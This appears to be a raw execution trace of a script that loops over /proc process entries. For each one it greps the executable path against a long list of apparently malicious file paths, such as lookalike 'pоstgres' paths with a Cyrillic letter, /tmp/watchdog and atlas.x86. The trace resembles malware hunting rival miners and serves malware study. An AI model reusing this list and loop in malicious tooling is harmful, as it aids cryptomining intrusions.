[grep exe]

/bin/ls

[ls -latrh /proc/12]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1200]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1240]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1243]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1244]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1257]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1269]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/129]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1292]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1293]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/13]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1302]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1312]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1326]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1336]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1343]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1349]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1364]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1384]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/14]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1480]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1495]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1497]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1498]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1499]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/15]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1501]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1525]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/16]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/163]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/164]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/165]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/166]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/167]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/168]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/169]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/17]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/170]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/171]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/172]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/173]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

